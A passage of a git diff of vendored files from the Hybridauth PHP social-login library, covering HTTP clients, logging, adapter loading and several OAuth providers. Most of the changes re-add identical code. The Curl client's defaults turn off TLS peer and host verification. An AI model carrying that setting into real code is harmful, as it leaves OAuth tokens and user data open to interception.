($this->requestHeader as $header => $value) { - $headers[] = trim($header) . ': ' . trim($value); - } - - return $headers; - } -} + 30, + CURLOPT_CONNECTTIMEOUT => 30, + CURLOPT_SSL_VERIFYPEER => false, + CURLOPT_SSL_VERIFYHOST => false, + CURLOPT_RETURNTRANSFER => true, + CURLOPT_FOLLOWLOCATION => true, + CURLOPT_MAXREDIRS => 5, + CURLINFO_HEADER_OUT => true, + CURLOPT_ENCODING => 'identity', + // phpcs:ignore + CURLOPT_USERAGENT => 'Hybridauth, PHP Social Authentication Library (https://github.com/hybridauth/hybridauth)', + ]; + + /** + * Method request() arguments + * + * This is used for debugging. + * + * @var array + */ + protected $requestArguments = []; + + /** + * Default request headers + * + * @var array + */ + protected $requestHeader = [ + 'Accept' => '*/*', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Expect' => '', + 'Pragma' => '', + ]; + + /** + * Raw response returned by server + * + * @var string + */ + protected $responseBody = ''; + + /** + * Headers returned in the response + * + * @var array + */ + protected $responseHeader = []; + + /** + * Response HTTP status code + * + * @var int + */ + protected $responseHttpCode = 0; + + /** + * Last curl error number + * + * @var mixed + */ + protected $responseClientError = null; + + /** + * Information about the last transfer + * + * @var mixed + */ + protected $responseClientInfo = []; + + /** + * Hybridauth logger instance + * + * @var object + */ + protected $logger = null; + + /** + * {@inheritdoc} + */ + public function request($uri, $method = 'GET', $parameters = [], $headers = [], $multipart = false) + { + $this->requestHeader = array_replace($this->requestHeader, (array)$headers); + + $this->requestArguments = [ + 'uri' => $uri, + 'method' => $method, + 'parameters' => $parameters, + 'headers' => $this->requestHeader, + ]; + + $curl = curl_init(); + + switch ($method) { + case 'GET': + case 'DELETE': + unset($this->curlOptions[CURLOPT_POST]); + unset($this->curlOptions[CURLOPT_POSTFIELDS]); + + $uri = $uri . (strpos($uri, '?') ? '&' : '?') . http_build_query($parameters); + if ($method === 'DELETE') { + $this->curlOptions[CURLOPT_CUSTOMREQUEST] = 'DELETE'; + } + break; + case 'PUT': + case 'POST': + case 'PATCH': + $body_content = $multipart ? $parameters : http_build_query($parameters); + if (isset($this->requestHeader['Content-Type']) + && $this->requestHeader['Content-Type'] == 'application/json' + ) { + $body_content = json_encode($parameters); + } + + if ($method === 'POST') { + $this->curlOptions[CURLOPT_POST] = true; + } else { + $this->curlOptions[CURLOPT_CUSTOMREQUEST] = $method; + } + $this->curlOptions[CURLOPT_POSTFIELDS] = $body_content; + break; + } + + $this->curlOptions[CURLOPT_URL] = $uri; + $this->curlOptions[CURLOPT_HTTPHEADER] = $this->prepareRequestHeaders(); + $this->curlOptions[CURLOPT_HEADERFUNCTION] = [$this, 'fetchResponseHeader']; + + foreach ($this->curlOptions as $opt => $value) { + curl_setopt($curl, $opt, $value); + } + + $response = curl_exec($curl); + + $this->responseBody = $response; + $this->responseHttpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); + $this->responseClientError = curl_error($curl); + $this->responseClientInfo = curl_getinfo($curl); + + if ($this->logger) { + // phpcs:ignore + $this->logger->debug(sprintf('%s::request( %s, %s ), response:', get_class($this), $uri, $method), $this->getResponse()); + + if (false === $response) { + // phpcs:ignore + $this->logger->error(sprintf('%s::request( %s, %s ), error:', get_class($this), $uri, $method), [$this->responseClientError]); + } + } + + curl_close($curl); + + return $this->responseBody; + } + + /** + * Get response details + * + * @return array Map structure of details + */ + public function getResponse() + { + $curlOptions = $this->curlOptions; + + $curlOptions[CURLOPT_HEADERFUNCTION] = '*omitted'; + + return [ + 'request' => $this->getRequestArguments(), + 'response' => [ + 'code' => $this->getResponseHttpCode(), + 'headers' => $this->getResponseHeader(), + 'body' => $this->getResponseBody(), + ], + 'client' => [ + 'error' => $this->getResponseClientError(), + 'info' => $this->getResponseClientInfo(), + 'opts' => $curlOptions, + ], + ]; + } + + /** + * Reset curl options + * + * @param array $curlOptions + */ + public function setCurlOptions($curlOptions) + { + foreach ($curlOptions as $opt => $value) { + $this->curlOptions[$opt] = $value; + } + } + + /** + * Set logger instance + * + * @param object $logger + */ + public function setLogger($logger) + { + $this->logger = $logger; + } + + /** + * {@inheritdoc} + */ + public function getResponseBody() + { + return $this->responseBody; + } + + /** + * {@inheritdoc} + */ + public function getResponseHeader() + { + return $this->responseHeader; + } + + /** + * {@inheritdoc} + */ + public function getResponseHttpCode() + { + return $this->responseHttpCode; + } + + /** + * {@inheritdoc} + */ + public function getResponseClientError() + { + return $this->responseClientError; + } + + /** + * @return array + */ + protected function getResponseClientInfo() + { + return $this->responseClientInfo; + } + + /** + * Returns method request() arguments + * + * This is used for debugging. + * + * @return array + */ + protected function getRequestArguments() + { + return $this->requestArguments; + } + + /** + * Fetch server response headers + * + * @param mixed $curl + * @param string $header + * + * @return int + */ + protected function fetchResponseHeader($curl, $header) + { + $pos = strpos($header, ':'); + + if (!empty($pos)) { + $key = str_replace('-', '_', strtolower(substr($header, 0, $pos))); + + $value = trim(substr($header, $pos + 2)); + + $this->responseHeader[$key] = $value; + } + + return strlen($header); + } + + /** + * Convert request headers to the expect curl format + * + * @return array + */ + protected function prepareRequestHeaders() + { + $headers = []; + + foreach ($this->requestHeader as $header => $value) { + $headers[] = trim($header) . ': ' . trim($value); + } + + return $headers; + } +} diff --git a/vendor/hybridauth/hybridauth/src/HttpClient/Guzzle.php b/vendor/hybridauth/hybridauth/src/HttpClient/Guzzle.php index 50897649d6..9ff0303eb3 100644 --- a/vendor/hybridauth/hybridauth/src/HttpClient/Guzzle.php +++ b/vendor/hybridauth/hybridauth/src/HttpClient/Guzzle.php @@ -1,275 +1,275 @@ - - * $guzzle = new Hybridauth\HttpClient\Guzzle(new GuzzleHttp\Client(), [ - * 'verify' => '/path/to/your/certificate.crt', - * 'headers' => ['User-Agent' => '..'] - * // 'proxy' => ... - * ]); - * - * $adapter = new Hybridauth\Provider\Github($config, $guzzle); - * - * $adapter->authenticate(); - * - */ -class Guzzle implements HttpClientInterface -{ - /** - * Method request() arguments - * - * This is used for debugging. - * - * @var array - */ - protected $requestArguments = []; - - /** - * Default request headers - * - * @var array - */ - protected $requestHeader = []; - - /** - * Raw response returned by server - * - * @var string - */ - protected $responseBody = ''; - - /** - * Headers returned in the response - * - * @var array - */ - protected $responseHeader = []; - - /** - * Response HTTP status code - * - * @var int - */ - protected $responseHttpCode = 0; - - /** - * Last curl error number - * - * @var mixed - */ - protected $responseClientError = null; - - /** - * Information about the last transfer - * - * @var mixed - */ - protected $responseClientInfo = []; - - /** - * Hybridauth logger instance - * - * @var object - */ - protected $logger = null; - - /** - * GuzzleHttp client - * - * @var \GuzzleHttp\Client - */ - protected $client = null; - - /** - * .. - * @param null $client - * @param array $config - */ - public function __construct($client = null, $config = []) - { - $this->client = $client ? $client : new Client($config); - } - - /** - * {@inheritdoc} - */ - public function request($uri, $method = 'GET', $parameters = [], $headers = [], $multipart = false) - { - $this->requestHeader = array_replace($this->requestHeader, (array)$headers); - - $this->requestArguments = [ - 'uri' => $uri, - 'method' => $method, - 'parameters' => $parameters, - 'headers' => $this->requestHeader, - ]; - - $response = null; - - try { - switch ($method) { - case 'GET': - case 'DELETE': - $response = $this->client->request($method, $uri, [ - 'query' => $parameters, - 'headers' => $this->requestHeader, - ]); - break; - case 'PUT': - case 'POST': - $body_type = $multipart ? 'multipart' : 'form_params'; - - if (isset($this->requestHeader['Content-Type']) - && $this->requestHeader['Content-Type'] === 'application/json' - ) { - $body_type = 'json'; - } - - $body_content = $parameters; - if ($multipart) { - $body_content = []; - foreach ($parameters as $key => $val) { - if ($val instanceof \CURLFile) { - $val = fopen($val->getFilename(), 'r'); - } - - $body_content[] = [ - 'name' => $key, - 'contents' => $val, - ]; - } - } - - $response = $this->client->request($method, $uri, [ - $body_type => $body_content, - 'headers' => $this->requestHeader, - ]); - break; - } - } catch (\Exception $e) { - $response = $e->getResponse(); - - $this->responseClientError = $e->getMessage(); - } - - if (!$this->responseClientError) { - $this->responseBody = $response->getBody(); - $this->responseHttpCode = $response->getStatusCode(); - $this->responseHeader = $response->getHeaders(); - } - - if ($this->logger) { - // phpcs:ignore - $this->logger->debug(sprintf('%s::request( %s, %s ), response:', get_class($this), $uri, $method), $this->getResponse()); - - if ($this->responseClientError) { - // phpcs:ignore - $this->logger->error(sprintf('%s::request( %s, %s ), error:', get_class($this), $uri, $method), [$this->responseClientError]); - } - } - - return $this->responseBody; - } - - /** - * Get response details - * - * @return array Map structure of details - */ - public function getResponse() - { - return [ - 'request' => $this->getRequestArguments(), - 'response' => [ - 'code' => $this->getResponseHttpCode(), - 'headers' => $this->getResponseHeader(), - 'body' => $this->getResponseBody(), - ], - 'client' => [ - 'error' => $this->getResponseClientError(), - 'info' => $this->getResponseClientInfo(), - 'opts' => null, - ], - ]; - } - - /** - * Set logger instance - * - * @param object $logger - */ - public function setLogger($logger) - { - $this->logger = $logger; - } - - /** - * {@inheritdoc} - */ - public function getResponseBody() - { - return $this->responseBody; - } - - /** - * {@inheritdoc} - */ - public function getResponseHeader() - { - return $this->responseHeader; - } - - /** - * {@inheritdoc} - */ - public function getResponseHttpCode() - { - return $this->responseHttpCode; - } - - /** - * {@inheritdoc} - */ - public function getResponseClientError() - { - return $this->responseClientError; - } - - /** - * @return array - */ - protected function getResponseClientInfo() - { - return $this->responseClientInfo; - } - - /** - * Returns method request() arguments - * - * This is used for debugging. - * - * @return array - */ - protected function getRequestArguments() - { - return $this->requestArguments; - } -} + + * $guzzle = new Hybridauth\HttpClient\Guzzle(new GuzzleHttp\Client(), [ + * 'verify' => '/path/to/your/certificate.crt', + * 'headers' => ['User-Agent' => '..'] + * // 'proxy' => ... + * ]); + * + * $adapter = new Hybridauth\Provider\Github($config, $guzzle); + * + * $adapter->authenticate(); + * + */ +class Guzzle implements HttpClientInterface +{ + /** + * Method request() arguments + * + * This is used for debugging. + * + * @var array + */ + protected $requestArguments = []; + + /** + * Default request headers + * + * @var array + */ + protected $requestHeader = []; + + /** + * Raw response returned by server + * + * @var string + */ + protected $responseBody = ''; + + /** + * Headers returned in the response + * + * @var array + */ + protected $responseHeader = []; + + /** + * Response HTTP status code + * + * @var int + */ + protected $responseHttpCode = 0; + + /** + * Last curl error number + * + * @var mixed + */ + protected $responseClientError = null; + + /** + * Information about the last transfer + * + * @var mixed + */ + protected $responseClientInfo = []; + + /** + * Hybridauth logger instance + * + * @var object + */ + protected $logger = null; + + /** + * GuzzleHttp client + * + * @var \GuzzleHttp\Client + */ + protected $client = null; + + /** + * .. + * @param null $client + * @param array $config + */ + public function __construct($client = null, $config = []) + { + $this->client = $client ? $client : new Client($config); + } + + /** + * {@inheritdoc} + */ + public function request($uri, $method = 'GET', $parameters = [], $headers = [], $multipart = false) + { + $this->requestHeader = array_replace($this->requestHeader, (array)$headers); + + $this->requestArguments = [ + 'uri' => $uri, + 'method' => $method, + 'parameters' => $parameters, + 'headers' => $this->requestHeader, + ]; + + $response = null; + + try { + switch ($method) { + case 'GET': + case 'DELETE': + $response = $this->client->request($method, $uri, [ + 'query' => $parameters, + 'headers' => $this->requestHeader, + ]); + break; + case 'PUT': + case 'POST': + $body_type = $multipart ? 'multipart' : 'form_params'; + + if (isset($this->requestHeader['Content-Type']) + && $this->requestHeader['Content-Type'] === 'application/json' + ) { + $body_type = 'json'; + } + + $body_content = $parameters; + if ($multipart) { + $body_content = []; + foreach ($parameters as $key => $val) { + if ($val instanceof \CURLFile) { + $val = fopen($val->getFilename(), 'r'); + } + + $body_content[] = [ + 'name' => $key, + 'contents' => $val, + ]; + } + } + + $response = $this->client->request($method, $uri, [ + $body_type => $body_content, + 'headers' => $this->requestHeader, + ]); + break; + } + } catch (\Exception $e) { + $response = $e->getResponse(); + + $this->responseClientError = $e->getMessage(); + } + + if (!$this->responseClientError) { + $this->responseBody = $response->getBody(); + $this->responseHttpCode = $response->getStatusCode(); + $this->responseHeader = $response->getHeaders(); + } + + if ($this->logger) { + // phpcs:ignore + $this->logger->debug(sprintf('%s::request( %s, %s ), response:', get_class($this), $uri, $method), $this->getResponse()); + + if ($this->responseClientError) { + // phpcs:ignore + $this->logger->error(sprintf('%s::request( %s, %s ), error:', get_class($this), $uri, $method), [$this->responseClientError]); + } + } + + return $this->responseBody; + } + + /** + * Get response details + * + * @return array Map structure of details + */ + public function getResponse() + { + return [ + 'request' => $this->getRequestArguments(), + 'response' => [ + 'code' => $this->getResponseHttpCode(), + 'headers' => $this->getResponseHeader(), + 'body' => $this->getResponseBody(), + ], + 'client' => [ + 'error' => $this->getResponseClientError(), + 'info' => $this->getResponseClientInfo(), + 'opts' => null, + ], + ]; + } + + /** + * Set logger instance + * + * @param object $logger + */ + public function setLogger($logger) + { + $this->logger = $logger; + } + + /** + * {@inheritdoc} + */ + public function getResponseBody() + { + return $this->responseBody; + } + + /** + * {@inheritdoc} + */ + public function getResponseHeader() + { + return $this->responseHeader; + } + + /** + * {@inheritdoc} + */ + public function getResponseHttpCode() + { + return $this->responseHttpCode; + } + + /** + * {@inheritdoc} + */ + public function getResponseClientError() + { + return $this->responseClientError; + } + + /** + * @return array + */ + protected function getResponseClientInfo() + { + return $this->responseClientInfo; + } + + /** + * Returns method request() arguments + * + * This is used for debugging. + * + * @return array + */ + protected function getRequestArguments() + { + return $this->requestArguments; + } +} diff --git a/vendor/hybridauth/hybridauth/src/HttpClient/HttpClientInterface.php b/vendor/hybridauth/hybridauth/src/HttpClient/HttpClientInterface.php index cd456329b7..46598d1f1c 100644 --- a/vendor/hybridauth/hybridauth/src/HttpClient/HttpClientInterface.php +++ b/vendor/hybridauth/hybridauth/src/HttpClient/HttpClientInterface.php @@ -1,58 +1,58 @@ -get('HTTPS') && $collection->get('HTTPS') !== 'off') || - $collection->get('HTTP_X_FORWARDED_PROTO') === 'https') { - $protocol = 'https://'; - } - - return $protocol . - $collection->get('HTTP_HOST') . - $collection->get($requestUri ? 'REQUEST_URI' : 'PHP_SELF'); - } -} +get('HTTPS') && $collection->get('HTTPS') !== 'off') || + $collection->get('HTTP_X_FORWARDED_PROTO') === 'https') { + $protocol = 'https://'; + } + + return $protocol . + $collection->get('HTTP_HOST') . + $collection->get($requestUri ? 'REQUEST_URI' : 'PHP_SELF'); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Hybridauth.php b/vendor/hybridauth/hybridauth/src/Hybridauth.php index 2d467ee640..0dc96c119c 100644 --- a/vendor/hybridauth/hybridauth/src/Hybridauth.php +++ b/vendor/hybridauth/hybridauth/src/Hybridauth.php @@ -1,268 +1,268 @@ -config = $config + [ - 'debug_mode' => Logger::NONE, - 'debug_file' => '', - 'curl_options' => null, - 'providers' => [] - ]; - $this->storage = $storage; - $this->logger = $logger; - $this->httpClient = $httpClient; - } - - /** - * Instantiate the given provider and authentication or authorization protocol. - * - * If not authenticated yet, the user will be redirected to the provider's site for - * authentication/authorisation, otherwise it will simply return an instance of - * provider's adapter. - * - * @param string $name adapter's name (case insensitive) - * - * @return \Hybridauth\Adapter\AdapterInterface - * @throws InvalidArgumentException - * @throws UnexpectedValueException - */ - public function authenticate($name) - { - $adapter = $this->getAdapter($name); - - $adapter->authenticate(); - - return $adapter; - } - - /** - * Returns a new instance of a provider's adapter by name - * - * @param string $name adapter's name (case insensitive) - * - * @return \Hybridauth\Adapter\AdapterInterface - * @throws InvalidArgumentException - * @throws UnexpectedValueException - */ - public function getAdapter($name) - { - $config = $this->getProviderConfig($name); - - $adapter = isset($config['adapter']) ? $config['adapter'] : sprintf('Hybridauth\\Provider\\%s', $name); - - if (!class_exists($adapter)) { - $adapter = null; - $fs = new \FilesystemIterator(__DIR__ . '/Provider/'); - /** @var \SplFileInfo $file */ - foreach ($fs as $file) { - if (!$file->isDir()) { - $provider = strtok($file->getFilename(), '.'); - if ($name === mb_strtolower($provider)) { - $adapter = sprintf('Hybridauth\\Provider\\%s', $provider); - break; - } - } - } - if ($adapter === null) { - throw new InvalidArgumentException('Unknown Provider.'); - } - } - - return new $adapter($config, $this->httpClient, $this->storage, $this->logger); - } - - /** - * Get provider config by name. - * - * @param string $name adapter's name (case insensitive) - * - * @throws UnexpectedValueException - * @throws InvalidArgumentException - * - * @return array - */ - public function getProviderConfig($name) - { - $name = strtolower($name); - - $providersConfig = array_change_key_case($this->config['providers'], CASE_LOWER); - - if (!isset($providersConfig[$name])) { - throw new InvalidArgumentException('Unknown Provider.'); - } - - if (!$providersConfig[$name]['enabled']) { - throw new UnexpectedValueException('Disabled Provider.'); - } - - $config = $providersConfig[$name]; - $config += [ - 'debug_mode' => $this->config['debug_mode'], - 'debug_file' => $this->config['debug_file'], - ]; - - if (!isset($config['callback']) && isset($this->config['callback'])) { - $config['callback'] = $this->config['callback']; - } - - return $config; - } - - /** - * Returns a boolean of whether the user is connected with a provider - * - * @param string $name adapter's name (case insensitive) - * - * @return bool - * @throws InvalidArgumentException - * @throws UnexpectedValueException - */ - public function isConnectedWith($name) - { - return $this->getAdapter($name)->isConnected(); - } - - /** - * Returns a list of enabled adapters names - * - * @return array - */ - public function getProviders() - { - $providers = []; - - foreach ($this->config['providers'] as $name => $config) { - if ($config['enabled']) { - $providers[] = $name; - } - } - - return $providers; - } - - /** - * Returns a list of currently connected adapters names - * - * @return array - * @throws InvalidArgumentException - * @throws UnexpectedValueException - */ - public function getConnectedProviders() - { - $providers = []; - - foreach ($this->getProviders() as $name) { - if ($this->isConnectedWith($name)) { - $providers[] = $name; - } - } - - return $providers; - } - - /** - * Returns a list of new instances of currently connected adapters - * - * @return \Hybridauth\Adapter\AdapterInterface[] - * @throws InvalidArgumentException - * @throws UnexpectedValueException - */ - public function getConnectedAdapters() - { - $adapters = []; - - foreach ($this->getProviders() as $name) { - $adapter = $this->getAdapter($name); - - if ($adapter->isConnected()) { - $adapters[$name] = $adapter; - } - } - - return $adapters; - } - - /** - * Disconnect all currently connected adapters at once - */ - public function disconnectAllAdapters() - { - foreach ($this->getProviders() as $name) { - $adapter = $this->getAdapter($name); - - if ($adapter->isConnected()) { - $adapter->disconnect(); - } - } - } -} +config = $config + [ + 'debug_mode' => Logger::NONE, + 'debug_file' => '', + 'curl_options' => null, + 'providers' => [] + ]; + $this->storage = $storage; + $this->logger = $logger; + $this->httpClient = $httpClient; + } + + /** + * Instantiate the given provider and authentication or authorization protocol. + * + * If not authenticated yet, the user will be redirected to the provider's site for + * authentication/authorisation, otherwise it will simply return an instance of + * provider's adapter. + * + * @param string $name adapter's name (case insensitive) + * + * @return \Hybridauth\Adapter\AdapterInterface + * @throws InvalidArgumentException + * @throws UnexpectedValueException + */ + public function authenticate($name) + { + $adapter = $this->getAdapter($name); + + $adapter->authenticate(); + + return $adapter; + } + + /** + * Returns a new instance of a provider's adapter by name + * + * @param string $name adapter's name (case insensitive) + * + * @return \Hybridauth\Adapter\AdapterInterface + * @throws InvalidArgumentException + * @throws UnexpectedValueException + */ + public function getAdapter($name) + { + $config = $this->getProviderConfig($name); + + $adapter = isset($config['adapter']) ? $config['adapter'] : sprintf('Hybridauth\\Provider\\%s', $name); + + if (!class_exists($adapter)) { + $adapter = null; + $fs = new \FilesystemIterator(__DIR__ . '/Provider/'); + /** @var \SplFileInfo $file */ + foreach ($fs as $file) { + if (!$file->isDir()) { + $provider = strtok($file->getFilename(), '.'); + if ($name === mb_strtolower($provider)) { + $adapter = sprintf('Hybridauth\\Provider\\%s', $provider); + break; + } + } + } + if ($adapter === null) { + throw new InvalidArgumentException('Unknown Provider.'); + } + } + + return new $adapter($config, $this->httpClient, $this->storage, $this->logger); + } + + /** + * Get provider config by name. + * + * @param string $name adapter's name (case insensitive) + * + * @throws UnexpectedValueException + * @throws InvalidArgumentException + * + * @return array + */ + public function getProviderConfig($name) + { + $name = strtolower($name); + + $providersConfig = array_change_key_case($this->config['providers'], CASE_LOWER); + + if (!isset($providersConfig[$name])) { + throw new InvalidArgumentException('Unknown Provider.'); + } + + if (!$providersConfig[$name]['enabled']) { + throw new UnexpectedValueException('Disabled Provider.'); + } + + $config = $providersConfig[$name]; + $config += [ + 'debug_mode' => $this->config['debug_mode'], + 'debug_file' => $this->config['debug_file'], + ]; + + if (!isset($config['callback']) && isset($this->config['callback'])) { + $config['callback'] = $this->config['callback']; + } + + return $config; + } + + /** + * Returns a boolean of whether the user is connected with a provider + * + * @param string $name adapter's name (case insensitive) + * + * @return bool + * @throws InvalidArgumentException + * @throws UnexpectedValueException + */ + public function isConnectedWith($name) + { + return $this->getAdapter($name)->isConnected(); + } + + /** + * Returns a list of enabled adapters names + * + * @return array + */ + public function getProviders() + { + $providers = []; + + foreach ($this->config['providers'] as $name => $config) { + if ($config['enabled']) { + $providers[] = $name; + } + } + + return $providers; + } + + /** + * Returns a list of currently connected adapters names + * + * @return array + * @throws InvalidArgumentException + * @throws UnexpectedValueException + */ + public function getConnectedProviders() + { + $providers = []; + + foreach ($this->getProviders() as $name) { + if ($this->isConnectedWith($name)) { + $providers[] = $name; + } + } + + return $providers; + } + + /** + * Returns a list of new instances of currently connected adapters + * + * @return \Hybridauth\Adapter\AdapterInterface[] + * @throws InvalidArgumentException + * @throws UnexpectedValueException + */ + public function getConnectedAdapters() + { + $adapters = []; + + foreach ($this->getProviders() as $name) { + $adapter = $this->getAdapter($name); + + if ($adapter->isConnected()) { + $adapters[$name] = $adapter; + } + } + + return $adapters; + } + + /** + * Disconnect all currently connected adapters at once + */ + public function disconnectAllAdapters() + { + foreach ($this->getProviders() as $name) { + $adapter = $this->getAdapter($name); + + if ($adapter->isConnected()) { + $adapter->disconnect(); + } + } + } +} diff --git a/vendor/hybridauth/hybridauth/src/Logger/Logger.php b/vendor/hybridauth/hybridauth/src/Logger/Logger.php index f0a5c0603c..92d5d2fb66 100644 --- a/vendor/hybridauth/hybridauth/src/Logger/Logger.php +++ b/vendor/hybridauth/hybridauth/src/Logger/Logger.php @@ -1,129 +1,129 @@ -level !== Logger::NONE. - * - * @var string - */ - protected $file; - - /** - * @param bool|string $level One of Logger::NONE, Logger::DEBUG, Logger::INFO, Logger::ERROR - * @param string $file File where to write messages - * - * @throws InvalidArgumentException - * @throws RuntimeException - */ - public function __construct($level, $file) - { - $this->level = self::NONE; - - if ($level && $level !== self::NONE) { - $this->initialize($file); - - $this->level = $level === true ? Logger::DEBUG : $level; - $this->file = $file; - } - } - - /** - * @param string $file - * - * @throws InvalidArgumentException - * @throws RuntimeException - */ - protected function initialize($file) - { - if (!$file) { - throw new InvalidArgumentException('Log file is not specified.'); - } - - if (!file_exists($file) && !touch($file)) { - throw new RuntimeException(sprintf('Log file %s can not be created.', $file)); - } - - if (!is_writable($file)) { - throw new RuntimeException(sprintf('Log file %s is not writeable.', $file)); - } - } - - /** - * @inheritdoc - */ - public function info($message, array $context = []) - { - if (!in_array($this->level, [self::DEBUG, self::INFO])) { - return; - } - - $this->log(self::INFO, $message, $context); - } - - /** - * @inheritdoc - */ - public function debug($message, array $context = []) - { - if (!in_array($this->level, [self::DEBUG])) { - return; - } - - $this->log(self::DEBUG, $message, $context); - } - - /** - * @inheritdoc - */ - public function error($message, array $context = []) - { - if (!in_array($this->level, [self::DEBUG, self::INFO, self::ERROR])) { - return; - } - - $this->log(self::ERROR, $message, $context); - } - - /** - * @inheritdoc - */ - public function log($level, $message, array $context = []) - { - $datetime = new \DateTime(); - $datetime = $datetime->format(DATE_ATOM); - - $content = sprintf('%s -- %s -- %s -- %s', $level, $_SERVER['REMOTE_ADDR'], $datetime, $message); - $content .= ($context ? "\n" . print_r($context, true) : ''); - $content .= "\n"; - - file_put_contents($this->file, $content, FILE_APPEND); - } -} +level !== Logger::NONE. + * + * @var string + */ + protected $file; + + /** + * @param bool|string $level One of Logger::NONE, Logger::DEBUG, Logger::INFO, Logger::ERROR + * @param string $file File where to write messages + * + * @throws InvalidArgumentException + * @throws RuntimeException + */ + public function __construct($level, $file) + { + $this->level = self::NONE; + + if ($level && $level !== self::NONE) { + $this->initialize($file); + + $this->level = $level === true ? Logger::DEBUG : $level; + $this->file = $file; + } + } + + /** + * @param string $file + * + * @throws InvalidArgumentException + * @throws RuntimeException + */ + protected function initialize($file) + { + if (!$file) { + throw new InvalidArgumentException('Log file is not specified.'); + } + + if (!file_exists($file) && !touch($file)) { + throw new RuntimeException(sprintf('Log file %s can not be created.', $file)); + } + + if (!is_writable($file)) { + throw new RuntimeException(sprintf('Log file %s is not writeable.', $file)); + } + } + + /** + * @inheritdoc + */ + public function info($message, array $context = []) + { + if (!in_array($this->level, [self::DEBUG, self::INFO])) { + return; + } + + $this->log(self::INFO, $message, $context); + } + + /** + * @inheritdoc + */ + public function debug($message, array $context = []) + { + if (!in_array($this->level, [self::DEBUG])) { + return; + } + + $this->log(self::DEBUG, $message, $context); + } + + /** + * @inheritdoc + */ + public function error($message, array $context = []) + { + if (!in_array($this->level, [self::DEBUG, self::INFO, self::ERROR])) { + return; + } + + $this->log(self::ERROR, $message, $context); + } + + /** + * @inheritdoc + */ + public function log($level, $message, array $context = []) + { + $datetime = new \DateTime(); + $datetime = $datetime->format(DATE_ATOM); + + $content = sprintf('%s -- %s -- %s -- %s', $level, $_SERVER['REMOTE_ADDR'], $datetime, $message); + $content .= ($context ? "\n" . print_r($context, true) : ''); + $content .= "\n"; + + file_put_contents($this->file, $content, FILE_APPEND); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Logger/LoggerInterface.php b/vendor/hybridauth/hybridauth/src/Logger/LoggerInterface.php index 33ec380aee..84059fa6f8 100644 --- a/vendor/hybridauth/hybridauth/src/Logger/LoggerInterface.php +++ b/vendor/hybridauth/hybridauth/src/Logger/LoggerInterface.php @@ -1,50 +1,50 @@ -logger->info($message, $context); - } - - /** - * @inheritdoc - */ - public function debug($message, array $context = []) - { - $this->logger->debug($message, $context); - } - - /** - * @inheritdoc - */ - public function error($message, array $context = []) - { - $this->logger->error($message, $context); - } - - /** - * @inheritdoc - */ - public function log($level, $message, array $context = []) - { - $this->logger->log($level, $message, $context); - } -} +logger->info($message, $context); + } + + /** + * @inheritdoc + */ + public function debug($message, array $context = []) + { + $this->logger->debug($message, $context); + } + + /** + * @inheritdoc + */ + public function error($message, array $context = []) + { + $this->logger->error($message, $context); + } + + /** + * @inheritdoc + */ + public function log($level, $message, array $context = []) + { + $this->logger->log($level, $message, $context); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/AOLOpenID.php b/vendor/hybridauth/hybridauth/src/Provider/AOLOpenID.php index af57be5e63..2af1785eaa 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/AOLOpenID.php +++ b/vendor/hybridauth/hybridauth/src/Provider/AOLOpenID.php @@ -1,26 +1,26 @@ -apiRequest('user/profile'); - - $data = new Data\Collection($response); - - if (!$data->exists('user_id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('user_id'); - $userProfile->displayName = $data->get('name'); - $userProfile->email = $data->get('email'); - - return $userProfile; - } -} +apiRequest('user/profile'); + + $data = new Data\Collection($response); + + if (!$data->exists('user_id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('user_id'); + $userProfile->displayName = $data->get('name'); + $userProfile->email = $data->get('email'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Apple.php b/vendor/hybridauth/hybridauth/src/Provider/Apple.php index 181b7e104a..04029914d7 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Apple.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Apple.php @@ -1,289 +1,289 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['id' => '', 'team_id' => '', 'key_id' => '', 'key_file' => '', 'key_content' => ''], - * 'scope' => 'name email', - * - * // Apple's custom auth url params - * 'authorize_url_parameters' => [ - * 'response_mode' => 'form_post' - * ] - * ]; - * - * $adapter = new Hybridauth\Provider\Apple($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * $tokens = $adapter->getAccessToken(); - * $response = $adapter->setUserStatus("Hybridauth test message.."); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - * - * Requires: - * - * composer require codercat/jwk-to-pem - * composer require firebase/php-jwt - * - * @see https://github.com/sputnik73/hybridauth-sign-in-with-apple - * @see https://developer.apple.com/documentation/sign_in_with_apple/sign_in_with_apple_rest_api - */ -class Apple extends OAuth2 -{ - /** - * {@inheritdoc} - */ - protected $scope = 'name email'; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://appleid.apple.com/auth/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://appleid.apple.com/auth/authorize'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://appleid.apple.com/auth/token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://developer.apple.com/documentation/sign_in_with_apple'; - - /** - * {@inheritdoc} - * The Sign in with Apple servers require percent encoding (or URL encoding) - * for its query parameters. If you are using the Sign in with Apple REST API, - * you must provide values with encoded spaces (`%20`) instead of plus (`+`) signs. - */ - protected $AuthorizeUrlParametersEncType = PHP_QUERY_RFC3986; - - /** - * {@inheritdoc} - */ - protected function initialize() - { - parent::initialize(); - $this->AuthorizeUrlParameters['response_mode'] = 'form_post'; - } - - /** - * {@inheritdoc} - */ - protected function configure() - { - $keys = $this->config->get('keys'); - $keys['secret'] = $this->getSecret(); - $this->config->set('keys', $keys); - return parent::configure(); - } - - /** - * {@inheritdoc} - * - * include id_token $tokenNames - */ - public function getAccessToken() - { - $tokenNames = [ - 'access_token', - 'id_token', - 'access_token_secret', - 'token_type', - 'refresh_token', - 'expires_in', - 'expires_at', - ]; - - $tokens = []; - - foreach ($tokenNames as $name) { - if 